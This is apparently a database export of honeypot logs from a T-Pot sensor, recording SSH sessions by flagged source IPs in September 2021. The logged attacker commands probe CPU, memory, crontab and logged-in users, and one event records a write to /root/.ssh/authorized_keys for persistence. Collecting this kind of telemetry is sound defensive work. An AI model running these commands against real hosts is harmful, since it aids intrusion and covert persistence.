20409	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:13.585676+03	2021-09-20 14:15:02.339643+03	{"_id": "oQXfAnwBvYTbRNuEzfew", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:13.585676Z", "@timestamp": "2021-09-20T11:03:13.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20410	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:13.586166+03	2021-09-20 14:15:02.341652+03	{"_id": "ogXfAnwBvYTbRNuEzfew", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:13.586166Z", "@timestamp": "2021-09-20T11:03:13.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20411	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:14.14854+03	2021-09-20 14:15:02.342643+03	{"_id": "pAXfAnwBvYTbRNuE0feY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.17.12", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5634884834289551, "duplicate": true, "timestamp": "2021-09-20T11:03:14.148540Z", "@timestamp": "2021-09-20T11:03:14.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20412	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:15.13644+03	2021-09-20 14:15:02.343642+03	{"_id": "qQXfAnwBvYTbRNuE1feB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.17.12", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5612409114837646, "duplicate": true, "timestamp": "2021-09-20T11:03:15.136440Z", "@timestamp": "2021-09-20T11:03:15.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20413	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:15.541246+03	2021-09-20 14:15:02.344639+03	{"_id": "qAXfAnwBvYTbRNuE1feB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:15.541246Z", "@timestamp": "2021-09-20T11:03:15.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20414	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:09.403502+03	2021-09-20 14:15:02.345643+03	{"_id": "lAXfAnwBvYTbRNuEvvcM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "81.71.17.12", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "c2e41eb66fda", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:03:09.403502Z", "@timestamp": "2021-09-20T11:03:09.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
20415	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:10.749377+03	2021-09-20 14:15:02.347643+03	{"_id": "lQXfAnwBvYTbRNuEwff1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:10.749377Z", "@timestamp": "2021-09-20T11:03:10.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20416	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:11.68975+03	2021-09-20 14:15:02.348643+03	{"_id": "mgXfAnwBvYTbRNuExffe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:11.689750Z", "@timestamp": "2021-09-20T11:03:11.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20417	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:11.690286+03	2021-09-20 14:15:02.349612+03	{"_id": "mwXfAnwBvYTbRNuExffe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:11.690286Z", "@timestamp": "2021-09-20T11:03:11.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20418	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:12.641835+03	2021-09-20 14:15:02.350612+03	{"_id": "ngXfAnwBvYTbRNuEyffH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:12.641835Z", "@timestamp": "2021-09-20T11:03:12.641Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20419	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:14.57528+03	2021-09-20 14:15:02.351611+03	{"_id": "pQXfAnwBvYTbRNuE0feY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:14.575280Z", "@timestamp": "2021-09-20T11:03:14.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20420	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:14.575824+03	2021-09-20 14:15:02.352613+03	{"_id": "pgXfAnwBvYTbRNuE0feY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:14.575824Z", "@timestamp": "2021-09-20T11:03:14.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20421	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:15.541778+03	2021-09-20 14:15:02.353645+03	{"_id": "pwXfAnwBvYTbRNuE1feB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:15.541778Z", "@timestamp": "2021-09-20T11:03:15.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20422	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:04:11.801109+03	2021-09-20 14:15:02.356642+03	{"_id": "CAXgAnwBvYTbRNuEsPms", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "385bcdf7e9ab", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:04:11.801109Z", "@timestamp": "2021-09-20T11:04:11.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20423	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:04:12.810485+03	2021-09-20 14:15:02.357643+03	{"_id": "EAXgAnwBvYTbRNuEs_mH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:04:12.590387+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 799898646348339, "payload": "AAADzAYUwTb4rXJTNaSNAe+yu4O1UgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48394, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:04:12.810485Z", "@timestamp": "2021-09-20T11:04:12.810Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......6..rS5........R...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20424	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:04:12.726466+03	2021-09-20 14:15:02.358652+03	{"_id": "DwXgAnwBvYTbRNuEs_mH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 799898646348339, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48394, "dest_port": 22, "timestamp": "2021-09-20T11:04:12.726466Z", "@timestamp": "2021-09-20T11:04:12.726Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20425	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:04:12.656772+03	2021-09-20 14:15:02.359642+03	{"_id": "EQXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:48394 (192.168.176.2:22) [session: c3c0b95de439]", "session": "c3c0b95de439", "@version": "1", "protocol": "ssh", "src_port": 48394, "dest_port": 22, "timestamp": "2021-09-20T11:04:12.656772Z", "@timestamp": "2021-09-20T11:04:12.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20426	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:04:12.097047+03	2021-09-20 14:15:02.36064+03	{"_id": "GgXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44590, "dest_port": 22, "timestamp": "2021-09-20T11:04:12.097047", "@timestamp": "2021-09-20T11:04:12.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
